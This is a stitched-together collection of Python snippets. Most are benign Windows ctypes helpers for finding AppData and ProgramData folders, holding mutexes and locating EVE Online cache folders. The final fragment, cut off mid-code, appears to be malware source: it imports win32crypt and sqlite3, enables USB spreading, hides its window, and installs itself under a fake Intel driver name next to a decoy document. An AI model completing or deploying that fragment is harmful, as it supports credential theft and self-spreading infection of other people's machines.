def get_location(): """ Determine the location to store the log file. Current directory on Linux, or %PROGRAMDATA% on windows - usually c:\ProgramData\ """ # For convenience, replace the dot with an underscore to help windows know # it is a text file. module_name = __name__.replace(".", "_") suffix = "%s.txt" % module_name if "Linux" in platform.platform(): return suffix log_dir = "" try: import ctypes from ctypes import wintypes, windll CSIDL_COMMON_APPDATA = 35 _SHGetFolderPath = windll.shell32.SHGetFolderPathW _SHGetFolderPath.argtypes = [ wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR ] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = _SHGetFolderPath(0, CSIDL_COMMON_APPDATA, 0, 0, path_buf) log_dir = path_buf.value except: log.exception("Problem assigning log directory") windows_file = "%s/%s" % (log_dir, suffix) return (windows_file)
def check_aslr(): # first check for a potentially rebased user32.dll from ctypes import windll from ctypes import wintypes check_dlls = ["user32.dll", "kernel32.dll", "ntdll.dll"] offsets = [] is_aslr = False windll.kernel32.GetModuleHandleW.restype = wintypes.HMODULE windll.kernel32.GetModuleHandleW.argtypes = [wintypes.LPCWSTR] windll.kernel32.GetModuleFileNameW.restype = wintypes.DWORD windll.kernel32.GetModuleFileNameW.argtypes = [ wintypes.HANDLE, wintypes.LPWSTR, wintypes.DWORD ] for dll_name in check_dlls: h_module_base = windll.kernel32.GetModuleHandleW(dll_name) # next get the module's file path module_path = wintypes.create_unicode_buffer(255) windll.kernel32.GetModuleFileNameW(h_module_base, module_path, 255) # then the ImageBase from python.exe file pe = pefile.PE(module_path.value) pe_header_base_addr = pe.OPTIONAL_HEADER.ImageBase offsets.append(pe_header_base_addr - h_module_base) for dll_name, offset in zip(check_dlls, offsets): LOG.debug("Memory vs. File ImageBase offset (%s): 0x%x", dll_name, offset) is_aslr |= offset != 0 return is_aslr
def acquire(self): """Tries to acquire the singleton. Returns: True if there was no previous process, False if this process is a duplicate and should exit. """ if sys.platform == 'win32': # Create a global mutex. Make the mutex so that it disapear automatically # when the process dies. The handle is not inherited so task_runner # doesn't get to keep it alive. # pylint: disable=undefined-variable self.handle = wintypes.windll.kernel32.CreateMutexW( wintypes.c_int(0), wintypes.c_int(-1), wintypes.create_unicode_buffer(self.key)) last_error = wintypes.GetLastError() logging.info('%s = %s ; %s', self.key, self.handle, last_error) if not self.handle: return False # ERROR_ALREADY_EXISTS if last_error == 183: self.release() return bool(self.handle) else: self.handle = open(self.key, 'wb') try: fcntl.flock(self.handle, fcntl.LOCK_EX | fcntl.LOCK_NB) except IOError: self.handle.close() self.handle = None return False return True
def get_user_config_dir(): """Platform specific directory for user configuration. :returns: returns the user configuration directory. :rtype: string """ if os.name == 'nt': try: csidl_appdata = 26 shgetfolderpath = windll.shell32.SHGetFolderPathW shgetfolderpath.argtypes = [wintypes.HWND, ctypes.c_int, \ wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = shgetfolderpath(0, csidl_appdata, 0, 0, path_buf) if result == 0: return path_buf.value except ImportError: pass return os.environ['APPDATA'] else: return os.path.expanduser('~')
def get_location(): """ Determine the location to store the log file. Current directory on Linux, or %PROGRAMDATA% on windows - usually c:\ProgramData\ """ # For convenience, replace the dot with an underscore to help windows know # it is a text file. module_name = __name__.replace(".", "_") suffix = "%s.txt" % module_name if "Linux" in platform.platform(): return suffix log_dir = "" try: import ctypes from ctypes import wintypes, windll CSIDL_COMMON_APPDATA = 35 _SHGetFolderPath = windll.shell32.SHGetFolderPathW _SHGetFolderPath.argtypes = [wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = _SHGetFolderPath(0, CSIDL_COMMON_APPDATA, 0, 0, path_buf) log_dir = path_buf.value except: log.exception("Problem assigning log directory") windows_file = "%s/%s" % (log_dir, suffix) return(windows_file)
def _SHGetFolderPath(folderID): from ctypes import wintypes, windll, c_int path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = windll.shell32.SHGetFolderPathW(0, folderID, 0, 0, path_buf) if result: if result < 0: result += 0x100000000 raise RuntimeError("SHGetFolderPath failed, error code 0x%08x" % result) return path_buf.value
def get_common_appdata(self): CSIDL_COMMON_APPDATA = 35 SHGetFolderPath = windll.shell32.SHGetFolderPathW SHGetFolderPath.argtypes = [wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR] path = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = SHGetFolderPath(0, CSIDL_COMMON_APPDATA, 0, 0, path) return path.value
def _SHGetFolderPath(folderID): from ctypes import wintypes, windll, c_int path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = windll.shell32.SHGetFolderPathW(0, folderID, 0, 0, path_buf) if result: if result < 0: result += 0x100000000 print path_buf.value raise RuntimeError("SHGetFolderPath failed, error code 0x%08x" % result) return path_buf.value
def _get_appdata_path(): import ctypes from ctypes import wintypes, windll CSIDL_APPDATA = 26 _SHGetFolderPath = windll.shell32.SHGetFolderPathW _SHGetFolderPath.argtypes = [ wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR ] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = _SHGetFolderPath(0, CSIDL_APPDATA, 0, 0, path_buf) return path_buf.value
def getApplicationData(): CSIDL_APPDATA = 28 _SHGetFolderPath = windll.shell32.SHGetFolderPathW _SHGetFolderPath.argtypes = [ wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR ] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = _SHGetFolderPath(0, CSIDL_APPDATA, 0, 0, path_buf) return path_buf.value
def _get_appdata_path(): import ctypes from ctypes import wintypes, windll CSIDL_APPDATA = 26 _SHGetFolderPath = windll.shell32.SHGetFolderPathW _SHGetFolderPath.argtypes = [wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = _SHGetFolderPath(0, CSIDL_APPDATA, 0, 0, path_buf) return path_buf.value
def __enter__(self): name = 'Local\\%s' % BASE_DIR.replace('\\', '_').replace(':', '_') self.mutex = windll.kernel32.CreateMutexW( wintypes.c_int(0), wintypes.c_int(0), wintypes.create_unicode_buffer(name)) assert self.mutex result = windll.kernel32.WaitForSingleObject( self.mutex, wintypes.c_int(0xFFFFFFFF)) # 0x80 means another process was killed without releasing the mutex, but # that this process has been given ownership. This is fine for our # purposes. assert result in (0, 0x80), ("%s, %s" % (result, windll.kernel32.GetLastError()))
def getApplicationData(): CSIDL_APPDATA = 28 _SHGetFolderPath = windll.shell32.SHGetFolderPathW _SHGetFolderPath.argtypes = [wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = _SHGetFolderPath(0, CSIDL_APPDATA, 0, 0, path_buf) return path_buf.value
def __enter__(self): name = 'Local\\%s' % BASE_DIR.replace('\\', '_').replace(':', '_') self.mutex = windll.kernel32.CreateMutexW( wintypes.c_int(0), wintypes.c_int(0), wintypes.create_unicode_buffer(name)) assert self.mutex result = windll.kernel32.WaitForSingleObject( self.mutex, wintypes.c_int(0xFFFFFFFF)) # 0x80 means another process was killed without releasing the mutex, but # that this process has been given ownership. This is fine for our # purposes. assert result in (0, 0x80), ( "%s, %s" % (result, windll.kernel32.GetLastError()))
def common_appdata_path(): """Returns the path to the common appdata directory. This is usually one of: C:\Documents and Settings\All Users\Application Data C:\ProgramData """ buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) ret = _SHGetFolderPath(0, CSIDL_COMMON_APPDATA, 0, 0, buf) if ret != 0: raise WindowsError(ret) return buf.value
def getProgramDataPath(): try: CSIDL_COMMON_APPDATA = 35 _SHGetFolderPath = windll.shell32.SHGetFolderPathW _SHGetFolderPath.argtypes = [ wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR ] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = _SHGetFolderPath(0, CSIDL_COMMON_APPDATA, 0, 0, path_buf) return path_buf.value except: return ""
def GetLongPathName(short_path): """Returns the Windows long path equivalent for a 'short' path.""" path = fs.extend(short_path) chars = windll.kernel32.GetLongPathNameW(path, None, 0) if chars: p = create_unicode_buffer(chars) if windll.kernel32.GetLongPathNameW(path, p, chars): return fs.trim(p.value) err = GetLastError() if err: # pylint: disable=undefined-variable msg = u'GetLongPathName(%s): %s (%d)' % ( short_path, FormatError(err), err) raise WindowsError(err, msg.encode('utf-8'))
def _windows_commondata_path(): """ Return the common appdata path, using ctypes From: http://stackoverflow.com/questions/626796/how-do-i-find-the-windows-common-application-data-folder-using-python """ import ctypes from ctypes import wintypes, windll CSIDL_COMMON_APPDATA = 35 _SHGetFolderPath = windll.shell32.SHGetFolderPathW _SHGetFolderPath.argtypes = [wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = _SHGetFolderPath(0, CSIDL_COMMON_APPDATA, 0, 0, path_buf) return path_buf.value
def GetLongPathName(short_path): """Returns the Windows long path equivalent for a 'short' path.""" path = fs.extend(short_path) chars = windll.kernel32.GetLongPathNameW(path, None, 0) if chars: p = create_unicode_buffer(chars) if windll.kernel32.GetLongPathNameW(path, p, chars): return fs.trim(p.value) err = GetLastError() if err: # pylint: disable=E0602 msg = u'GetLongPathName(%s): %s (%d)' % ( short_path, FormatError(err), err) raise WindowsError(err, msg.encode('utf-8'))
def get_trillian_users_dir(): try: CSIDL_APPDATA = 26 _SHGetFolderPath = windll.shell32.SHGetFolderPathW _SHGetFolderPath.argtypes = [wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = _SHGetFolderPath(0, CSIDL_APPDATA, 0, 0, path_buf) value = os.path.join(path_buf.value.strip(), "Trillian/users") if os.path.isdir(value): return value return None except: return None
def QueryDosDevice(drive_letter): """Returns the Windows 'native' path for a DOS drive letter.""" assert re.match(r'^[a-zA-Z]:$', drive_letter), drive_letter assert isinstance(drive_letter, unicode) # Guesswork. QueryDosDeviceW never returns the required number of bytes. chars = 1024 drive_letter = drive_letter p = create_unicode_buffer(chars) if 0 == windll.kernel32.QueryDosDeviceW(drive_letter, p, chars): err = GetLastError() if err: # pylint: disable=undefined-variable msg = u'QueryDosDevice(%s): %s (%d)' % ( drive_letter, FormatError(err), err) raise WindowsError(err, msg.encode('utf-8')) return p.value
def QueryDosDevice(drive_letter): """Returns the Windows 'native' path for a DOS drive letter.""" assert re.match(r'^[a-zA-Z]:$', drive_letter), drive_letter # Guesswork. QueryDosDeviceW never returns the required number of bytes. chars = 1024 drive_letter = unicode(drive_letter) p = create_unicode_buffer(chars) if 0 == windll.kernel32.QueryDosDeviceW(drive_letter, p, chars): err = GetLastError() if err: # pylint: disable=E0602 raise WindowsError( err, 'QueryDosDevice(%s): %s (%d)' % ( str(drive_letter), FormatError(err), err)) return p.value
def _windows_commondata_path(): """Return the common appdata path, using ctypes From http://stackoverflow.com/questions/626796/\ how-do-i-find-the-windows-common-application-data-folder-using-python """ import ctypes from ctypes import wintypes, windll _SHGetFolderPath = windll.shell32.SHGetFolderPathW _SHGetFolderPath.argtypes = [wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) return path_buf.value
def __enter__(self): # Only lock if we're using the default CC, not when using goma. if self.cc != DEFAULT_CC: return name = 'Local\\c99conv_cl_preprocess_mutex' self.mutex = windll.kernel32.CreateMutexW( wintypes.c_int(0), wintypes.c_int(0), wintypes.create_unicode_buffer(name)) assert self.mutex result = windll.kernel32.WaitForSingleObject( self.mutex, wintypes.c_int(0xFFFFFFFF)) # 0x80 means another process was killed without releasing the mutex, but # that this process has been given ownership. This is fine for our # purposes. assert result in (0, 0x80), ( "%s, %s" % (result, windll.kernel32.GetLastError()))
def _windows_commondata_path(): ''' Return the common appdata path, using ctypes From: http://stackoverflow.com/questions/626796/how-do-i-find-the-windows-common-application-data-folder-using-python ''' import ctypes from ctypes import wintypes, windll CSIDL_COMMON_APPDATA = 35 _SHGetFolderPath = windll.shell32.SHGetFolderPathW _SHGetFolderPath.argtypes = [ wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR ] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = _SHGetFolderPath(0, CSIDL_COMMON_APPDATA, 0, 0, path_buf) return path_buf.value
def _GetWinLocalFolder(self, ftype=_CSIDL_COMMON_APPDATA): """Returns full path of the 'Local' folder on Windows. Args: ftype: Location to look up, which could vary based on installation type. Returns: A String representing the folder path if successful, otherwise an empty string. """ SHGetFolderPathW = windll.shell32.SHGetFolderPathW SHGetFolderPathW.argtypes = [ wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR ] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = SHGetFolderPathW(0, ftype, 0, 0, path_buf) return str(path_buf.value)
def GetLongPathName(short_path): """Returns the Windows long path equivalent for a 'short' path.""" assert isinstance(short_path, unicode) # Adds '\\\\?\\' when given an absolute path so the MAX_PATH (260) limit is # not enforced. if os.path.isabs(short_path) and not short_path.startswith('\\\\?\\'): short_path = '\\\\?\\' + short_path chars = windll.kernel32.GetLongPathNameW(short_path, None, 0) if chars: p = create_unicode_buffer(chars) if windll.kernel32.GetLongPathNameW(short_path, p, chars): return p.value err = GetLastError() if err: # pylint: disable=E0602 msg = u'GetLongPathName(%s): %s (%d)' % (short_path, FormatError(err), err) raise WindowsError(err, msg.encode('utf-8'))
def _GetWinLocalFolder(self, ftype=_CSIDL_COMMON_APPDATA): """Returns full path of the 'Local' folder on Windows. Args: ftype: Location to look up, which could vary based on installation type. Returns: A String representing the folder path if successful, otherwise an empty string. """ SHGetFolderPathW = windll.shell32.SHGetFolderPathW SHGetFolderPathW.argtypes = [wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = SHGetFolderPathW(0, ftype, 0, 0, path_buf) return str(path_buf.value)
def get_common_appdata_path(): """Returns the path to the common appdata folder in Windows. Typically this is either C:\ProgramData (Vista and higher) or C:\Documents and Settings\All Users\Application Data (XP). Returns: A string of the path to the common appdata folder. """ _SHGetFolderPath = windll.shell32.SHGetFolderPathW _SHGetFolderPath.argtypes = [wintypes.HWND, c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) _SHGetFolderPath(0, CSIDL_COMMON_APPDATA, 0, 0, path_buf) return path_buf.value
def GetLongPathName(short_path): """Returns the Windows long path equivalent for a 'short' path.""" assert isinstance(short_path, unicode) # Adds '\\\\?\\' when given an absolute path so the MAX_PATH (260) limit is # not enforced. if os.path.isabs(short_path) and not short_path.startswith('\\\\?\\'): short_path = '\\\\?\\' + short_path chars = windll.kernel32.GetLongPathNameW(short_path, None, 0) if chars: p = create_unicode_buffer(chars) if windll.kernel32.GetLongPathNameW(short_path, p, chars): return p.value err = GetLastError() if err: # pylint: disable=E0602 msg = u'GetLongPathName(%s): %s (%d)' % ( short_path, FormatError(err), err) raise WindowsError(err, msg.encode('utf-8'))
def GetShortPathName(long_path): """Returns the Windows short path equivalent for a 'long' path.""" long_path = unicode(long_path) # Adds '\\\\?\\' when given an absolute path so the MAX_PATH (260) limit is # not enforced. if os.path.isabs(long_path) and not long_path.startswith('\\\\?\\'): long_path = '\\\\?\\' + long_path chars = windll.kernel32.GetShortPathNameW(long_path, None, 0) if chars: p = create_unicode_buffer(chars) if windll.kernel32.GetShortPathNameW(long_path, p, chars): return p.value err = GetLastError() if err: # pylint: disable=E0602 raise WindowsError( err, 'GetShortPathName(%s): %s (%d)' % ( str(long_path), FormatError(err), err))
def get_win32_home(): ''' Get the path of user home directory in win32 platform. @rtype: unicode @return: path of home dir ''' from ctypes import wintypes, windll CSIDL_APPDATA = 26 _SHGetFolderPath = windll.shell32.SHGetFolderPathW _SHGetFolderPath.argtypes = [wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = _SHGetFolderPath(0, CSIDL_APPDATA, 0, 0, path_buf) return path_buf.value
def acquire(self): """Tries to acquire the singleton. Returns: True if there was no previous process, False if this process is a duplicate and should exit. """ if sys.platform == 'win32': # Create a global mutex. Make the mutex so that it disapear automatically # when the process dies. The handle is not inherited so task_runner # doesn't get to keep it alive. # pylint: disable=undefined-variable self.handle = wintypes.windll.kernel32.CreateMutexW( wintypes.c_int(0), wintypes.c_int(-1), wintypes.create_unicode_buffer(self.key)) last_error = wintypes.GetLastError() logging.info('[singleton] acquire: %s = %s ; %s', self.key, self.handle, last_error) if not self.handle: return False # ERROR_ALREADY_EXISTS if last_error == 183: self.release() return bool(self.handle) else: self.handle = open(self.key, 'a+b') try: fcntl.flock(self.handle, fcntl.LOCK_EX | fcntl.LOCK_NB) except IOError: # There's a small race condition where it could report a previous pid. logging.exception('Singleton "%s" is held by "%s"', self.key, self.handle.read()) self.handle.close() self.handle = None return False logging.info('[singleton] acquire: %s = %s', self.key, self.handle) self.handle.seek(0, os.SEEK_SET) self.handle.truncate(0) self.handle.write(str(os.getpid()).encode('utf-8')) return True
def _win32_get_appdata(): # inspired by Ryan Ginstrom's winpaths module from ctypes import c_int, wintypes, windll CSIDL_APPDATA = 26 SHGetFolderPathW = windll.shell32.SHGetFolderPathW SHGetFolderPathW.argtypes = ( wintypes.HWND, c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR ) path = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = SHGetFolderPathW(0, CSIDL_APPDATA, 0, 0, path) if result == 0: return path.value else: raise Exception('SHGetFolderPathW failed')
def get_location(): # For convenience, replace any dots with underscores to help windows know # it is a text file. module_name = __name__.replace(".", "_") # "wasatch.applog" -> "wasatch_applog" filename = "%s.txt" % module_name # "wasatch_applog.txt" # consider "%s-%s.log" % (module_name, utils.timestamp()) if "Linux" in platform.platform(): return filename if "Darwin" in platform.platform(): return filename # print "applog.get_location: platform.platform() = %s" % platform.platform() log_dir = "" try: # get pathname to C:\ProgramData (but with a lot more work) import ctypes from ctypes import wintypes, windll CSIDL_COMMON_APPDATA = 35 _SHGetFolderPath = windll.shell32.SHGetFolderPathW _SHGetFolderPath.argtypes = [ wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR ] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = _SHGetFolderPath(0, CSIDL_COMMON_APPDATA, 0, 0, path_buf) log_dir = path_buf.value except: print("applog.get_location: problem assigning log directory") pathname = "%s/%s" % (log_dir, filename) # print("applog.get_location: pathname = %s" % pathname) return pathname
def createMonitor( self ): if ( self.options.token is None ): logger.error( 'Upload token needs to be set.' ) # no point continuing without a valid token return # the cache path can be explicitely set, if not we rely on autodetection checkpath = None #self.options.path if ( checkpath is None ): logger.info( 'Looking for your EVE cache in the usual locations' ) if ( platform.system() == 'Windows' ): from ctypes import wintypes, windll, c_int CSIDL_LOCAL_APPDATA = 28 path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = windll.shell32.SHGetFolderPathW(0, CSIDL_LOCAL_APPDATA, 0, 0, path_buf) if result: raise RuntimeError("SHGetFolderPath failed, error code 0x%08x" % result) checkpath = os.path.join( path_buf.value, 'CCP', 'EVE' ) elif ( platform.system() == 'Linux' ): # assuming a standard wine installation, and the same username in wine than local user.. checkpath = os.path.join( os.path.expanduser( '~/.wine/drive_c/users' ), os.environ['USER'], 'Local Settings/Application Data/CCP/EVE' ) elif ( platform.system() == 'Darwin' ): checkpath = os.path.expanduser( '~/Library/Preferences/EVE Online Preferences/p_drive/Local Settings/Application Data/CCP/EVE' ) if ( not os.path.isdir( checkpath ) ): logger.error( '%r doesn\'t exist. Cache path not found.' % checkpath ) return # now build a list of the cache folders to monitor cache_folders = [] eve_path = None cache_path = None if ( platform.system() == 'Linux' ): # the Windows path tries some path reconstruction, but with only wine 32 bit it's probably easier to just go to the right path eve_path = os.path.expanduser( '~/.wine/drive_c/Program Files/CCP/EVE' ) if ( not os.path.isdir( eve_path ) ): logger.error( '%r doesn\'t exist. Base EVE install not found.' % eve_path ) return elif ( platform.system() == 'Darwin' ): eve_path = '/Applications/EVE Online.app' if ( not os.path.isdir( eve_path ) ): logger.error( '%r doesn\'t exist. Base EVE install not found.' % eve_path ) return for installation in os.listdir( checkpath ): installation_paths = os.path.join( checkpath, installation, 'cache', 'MachoNet', '87.237.38.200' ) if ( not os.path.isdir( installation_paths ) ): continue if not cache_path: cache_path = os.path.join( checkpath, installation, 'cache') # lets find the newest machonet version versions = [ int(x) for x in os.listdir( installation_paths ) ] versions.sort() testdir = os.path.join( installation_paths, str( versions.pop() ), 'CachedMethodCalls' ) if ( not os.path.isdir( testdir ) ): continue cache_folders.append( testdir ) # Windows only .. doesn't work as-is on Linux (case sensitivity etc.) and probably not that necessary if ( not eve_path ): # we need to get a eve installation path to display information about the item/region uploaded parts = installation.split( '_' ) parts.pop( len( parts ) - 1 ) # print 'installation: %r parts: %r' % ( installation, parts ) if ( platform.system() == 'Windows' ): base_path = "%s:\\" % parts.pop( 0 ) logger.debug( 'base_path: %r' % base_path ) next_folder = None while ( not eve_path ): if ( len(parts) == 0 ): break if ( next_folder ): next_folder = "%s %s" % ( next_folder, parts.pop( 0 ) ) if ( len(parts) != 0 and parts[0] == '(x86)' ): next_folder = "%s %s" % ( next_folder, parts.pop( 0 ) ) else: next_folder = parts.pop( 0 ) if ( os.path.isdir( os.path.join( base_path, next_folder ) ) ): base_path = os.path.join( base_path, next_folder ) next_folder = "" #logger.debug( "Set basepath to %s", base_path ) if ( os.path.isdir( os.path.join( base_path, 'bulkdata' ) ) ): # we finally found an installation eve_path = base_path break #print next_folder if ( eve_path ): logger.info( "Found EVE installation: %s", eve_path ) else: logger.error( "Unable to locate your EVE installation." ) return if ( len( cache_folders ) == 0 ): logger.error( 'Could not find any valid cache folders under the cache path %r - invalid cache path?' % checkpath ) return else: logger.info( 'Base cache path is %s' % checkpath ) logger.info( 'Monitoring the following subdirectory(es):' ) for c in cache_folders: logger.info( c.replace( checkpath, '' ) ) # we can instanciate the filesystem monitor monitor = None if ( platform.system() == 'Windows' ): logger.info( 'Loading win32 file monitor' ) try: from evemetrics.file_watcher.win32 import Win32FileMonitor monitor = MonitorFactory( Win32FileMonitor, cache_folders, self ) except ImportError, e: traceback.print_exc() logger.error( 'Could not load the win32 optimized file monitor.' )
def _findcachepath(root, servername): # returns (root, cachepath) tuple where eve stuff may be found. if os.name == "nt": cacheFolderName = root.lower().replace(":", "").replace("\\", "_").replace(" ", "_") cacheFolderName += "_"+servername.lower() from ctypes import wintypes, windll, c_int CSIDL_LOCAL_APPDATA = 28 path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = windll.shell32.SHGetFolderPathW(0, CSIDL_LOCAL_APPDATA, 0, 0, path_buf) if result: raise RuntimeError("SHGetFolderPath failed, error code 0x%08x" % result) cachepath = os.path.join(path_buf.value, "CCP", "EVE", cacheFolderName, "cache") elif sys.platform == "darwin" or os.name == "mac": # slightly less untested. might still be wrong. home = os.path.expanduser('~') cacheFolderName = "c_program_files_ccp_eve_" + servername.lower() cachepath = os.path.join(home, "Library/Preferences/EVE Online Preferences/p_drive/Local Settings/Application Data/CCP/EVE", cacheFolderName, "cache") actualroot = os.path.join(root, "Contents/Resources/transgaming/c_drive/Program Files/CCP/EVE") if os.path.exists(actualroot): root = actualroot elif os.name == "posix": import pwd # Assuming a WINE install, we are now going to have to do # some black magic to figure out where the cache folder is. # get the name of the owner of this EVE folder. This is # quite likely to be the user used in WINE as well. stat_info = os.stat(root) user = pwd.getpwuid(stat_info.st_uid).pw_name # get the filesystem root for WINE x = root.find(".wine/drive_") if x == -1: return (None, None) wineroot = root[:x+5] # all drive_ folders be here # now we can get the cache folder name (as produced by EVE # from the install path by mangling separators and spaces) cacheFolderName = root[x+12:].replace("/", "_").replace(" ", "_") cacheFolderName += "_" + servername cacheFolderName = cacheFolderName.lower() # locate that cache folder. the names of the folders here # depend on the locale of the Windows version used, so we # cheat past that with a glob match. for settingsroot in [ os.path.join(wineroot, "drive_c/users", user), os.path.join(wineroot, "drive_c/windows/profile", user), ]: if not os.path.exists(settingsroot): continue for cachepath in glob.iglob(os.path.join(settingsroot, "*/*/CCP/EVE/" + cacheFolderName, "cache")): # this should only ever give one folder. break else: # no cache folder found? user must have a really # freakin' bizarre install. screw that! continue # cache folder found, no need to continue. break else: return (None, None) return (root, cachepath)
def _findcachepath(root, servername, wineprefix): # returns (root, cachepath) tuple where eve stuff may be found. global _localappdata if os.name == "nt": cacheFolderName = root.lower().replace(":", "").replace("\\", "_").replace( " ", "_") cacheFolderName += "_" + servername.lower() if _localappdata is None: from ctypes import wintypes, windll, c_int CSIDL_LOCAL_APPDATA = 28 path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = windll.shell32.SHGetFolderPathW(0, CSIDL_LOCAL_APPDATA, 0, 0, path_buf) if result: if result < 0: result += 0x100000000 raise RuntimeError( "SHGetFolderPath failed, error code 0x%08x" % result) _localappdata = path_buf.value cachepath = _join(_localappdata, "CCP", "EVE", cacheFolderName, "cache") elif sys.platform == "darwin" or os.name == "mac": # slightly less untested. might still be wrong. home = os.path.expanduser('~') cacheFolderName = "c_program_files_ccp_eve_" + servername.lower() cachepath = _join( home, "Library/Application Support/EVE Online/p_drive/Local Settings/Application Data/CCP/EVE", cacheFolderName, "cache") if not _exists(cachepath): cachepath = _join( home, "Library/Preferences/EVE Online Preferences/p_drive/Local Settings/Application Data/CCP/EVE", cacheFolderName, "cache") actualroot = _join( root, "Contents/Resources/transgaming/c_drive/Program Files/CCP/EVE") if _exists(actualroot): root = actualroot elif os.name == "posix": import pwd # Assuming a WINE install, we are now going to have to do # some black magic to figure out where the cache folder is. # get the name of the owner of this EVE folder. This is # quite likely to be the user used in WINE as well. stat_info = os.stat(root) user = pwd.getpwuid(stat_info.st_uid).pw_name # get the filesystem root for WINE x = root.find(_join(wineprefix, "drive_")) if x == -1: return (None, None) wineroot = root[:x + len(wineprefix)] # all drive_ folders be here # now we can get the cache folder name (as produced by EVE # from the install path by mangling separators and spaces) cacheFolderName = root[x + len(wineprefix) + 7:].replace("/", "_").replace( " ", "_") cacheFolderName += "_" + servername cacheFolderName = cacheFolderName.lower() # locate that cache folder. the names of the folders here # depend on the locale of the Windows version used, so we # cheat past that with a glob match. for settingsroot in [ _join(wineroot, "drive_c/users", user), _join(wineroot, "drive_c/windows/profile", user), _join(wineroot, "drive_c/windows/profiles", user), ]: if not _exists(settingsroot): continue for cachepath in glob.iglob( _join(settingsroot, "*/*/CCP/EVE/" + cacheFolderName, "cache")): # this should only ever give one folder. break else: # no cache folder found? user must have a really # freakin' bizarre install. screw that! continue # cache folder found, no need to continue. break else: return (None, None) return (root, cachepath)
def _get_path_buf(csidl): path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = _SHGetFolderPath(0, csidl, 0, 0, path_buf) return path_buf.value
import shutil import glob import win32crypt import sqlite3 url_list = ['<URL HERE> pastebin, googledocs, etc...',] MODERATOR = 'testers' USBSPREADING = True ### ACTIVE = False startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW _SHGetFolderPath = windll.shell32.SHGetFolderPathW _SHGetFolderPath.argtypes = [wintypes.HWND, ctypes.c_int, wintypes.HANDLE, wintypes.DWORD, wintypes.LPCWSTR] path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH) result = _SHGetFolderPath(0, 35, 0, 0, path_buf) destination_folder = os.path.join(path_buf.value, 'Intel') if not os.path.exists(destination_folder): os.makedirs(destination_folder) destination_path = os.path.join(destination_folder, 'IntelGFX.exe') file_name = sys.argv[0] if not 'IntelGFX' in file_name: if 'VolumeInformation' in file_name: os.startfile(unichr(160)) # FAKE FILE else: payload = 'HEX HERE' destination_fake = os.path.join(destination_folder, 'DC5612312.doc') if not os.path.exists(destination_fake):
